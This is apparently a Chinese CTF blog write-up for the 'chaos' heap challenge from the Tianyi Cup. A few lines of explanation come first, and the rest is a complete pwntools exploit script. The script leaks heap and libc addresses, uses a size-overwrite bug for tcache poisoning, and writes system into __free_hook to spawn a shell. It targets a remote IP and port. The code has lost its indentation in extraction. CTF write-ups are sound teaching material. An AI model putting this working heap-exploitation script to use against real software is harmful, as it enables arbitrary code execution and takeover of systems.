天翼杯

chaos

一大堆花里胡哨的逻辑,分析出来就不难了,但是就是难在分析(
就出了这一道题,心累
主函数逻辑大概就是构造一个opcode的键和一个passwd的键就能绕过去while循环然后进入下面的菜单逻辑
漏洞在于可以改掉size,实现一个类似于UAF的效果
利用漏洞就不难了,泄露地址改__free_hook即可

from pwn import *
import sys

arch = 64
challenge = "./chall"
libc_path_local = "/glibc/x64/1.4_2.27/libc.so.6"
libc_path_remote = "./libc-2.27.so"

local = int(sys.argv[1])
elf = ELF(challenge)

context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

if local:
if libc_path_local:
io = process(challenge,env = {"LD_PRELOAD":libc_path_local})
# io = gdb.debug(challenge, 'b *$rebase(0x0DB5)')
libc = ELF(libc_path_local)
else:
io = process(challenge)
else:
io = remote("8.134.37.86", 29380)
if libc_path_remote:
libc = ELF(libc_path_remote)

if arch == 64:
context.arch = 'amd64'
elif arch == 32:
context.arch = 'i386'

def dbg():
context.log_level = 'debug'

def echo(content):
print("\033[4;36;40mOutput prompts:\033[0m" + "\t\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + content + "\033[0m")

p = lambda : pause()
s = lambda x : success(x)
re = lambda m, t : io.recv(numb=m, timeout=t)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
sd = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
ia = lambda : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa = lambda a, b : io.sendafter(a, b)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))

bps = []
pie = 0

def gdba():
if local == 0:
return 0
cmd ='set follow-fork-mode parent\n'
if pie:
base = int(os.popen("pmap {}|awk '{{print chall}}'".format(io.pid)).readlines()[1],16)
cmd +=''.join(['b *{:#x}\n'.format(b+base) for b in bps])
cmd +='set base={:#x}\n'.format(base)
else:
cmd+=''.join(['b *{:#x}\n'.format(b) for b in bps])
gdb.attach(io,cmd)

def fuck(menu):
ru('>>> ')
if menu == 'add':
payload = 'opcode:1\npasswd:Cr4at3x\n\x0a'
if menu == 'edit':
payload = 'opcode:3\npasswd:Ed1tx\n\x0a'
if menu == 'show':
payload = 'opcode:2\npasswd:SH0wx\n\x0a'
if menu == 'free':
payload = 'opcode:4\npasswd:D3l4tex\n\x0a'
sd(payload)

def fuck_add(size, content):
sa('>>>', str(size))
sa('>>>', content)
pass

def fuck_show(index):
sa('>>>', str(index))

def fuck_edit(index, content):
sa('>>>', str(index))
sa('>>>', content)

def fuck_free(index):
sa('>>>', str(index))

def add(size, content):
fuck('add')
fuck_add(size, content)

def show(index):
fuck('show')
fuck_show(index)

def free(index):
fuck('free')
fuck_free(index)

def edit(index, content):
fuck('edit')
fuck_edit(index, content)


def exp():
add(0x208, 'a' * 0x208) # 2
add(0x208, 'b' * 0x208) # 1
add(0x208, 'c' * 0x208) # 0
show(1)
ru('b' * 0x208)
heap = uu64(io.recvuntil('\n', drop=True)[-6:]) - 0x30 # the first chunk address
echo('The First chunk:' + hex(heap))

for i in range(7):
free(2)
edit(1, 0x208 * 'a' + p64(heap + 0x30))
edit(2, p64(0) * 2)

free(2)
edit(1, 0x208 * 'a' + p64(heap + 0x70))
show(2)

leak = uu64(ru('\x7f')[-6:]) - 96 - 0x10 - libc.sym['__malloc_hook'] # the first chunk address
echo('LIBC:' + hex(leak))

chunk2 = heap + 0x270
for i in range(0x1e0 / 0x20):
show(2)
# free(1)
# edit(0, 0x208 * 'a' + p64(chunk2))
victim = heap + 0x30
edit(1, 0x208 * 'a' + p64(victim))
edit(0, p64(heap))
for i in range(1):
add(0x20, '/bin/sh\x00') # 0 -> 2

# Notice that the chunk sequence number now needs to be incremented by one
free(2)
dbg()
edit(1, 'a' * 0x208 + p64(chunk2))

libc.address = leak
__free_hook = libc.sym['__free_hook']
system = libc.sym['system']
edit(2, p64(__free_hook))

add(0x10, 'a')
add(0x8, p64(system))

free(2)
gdba()
pass

exp()
ia()
文章作者: Alex
文章链接: http://example.com/2021/09/23/天翼杯/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Alex's blog~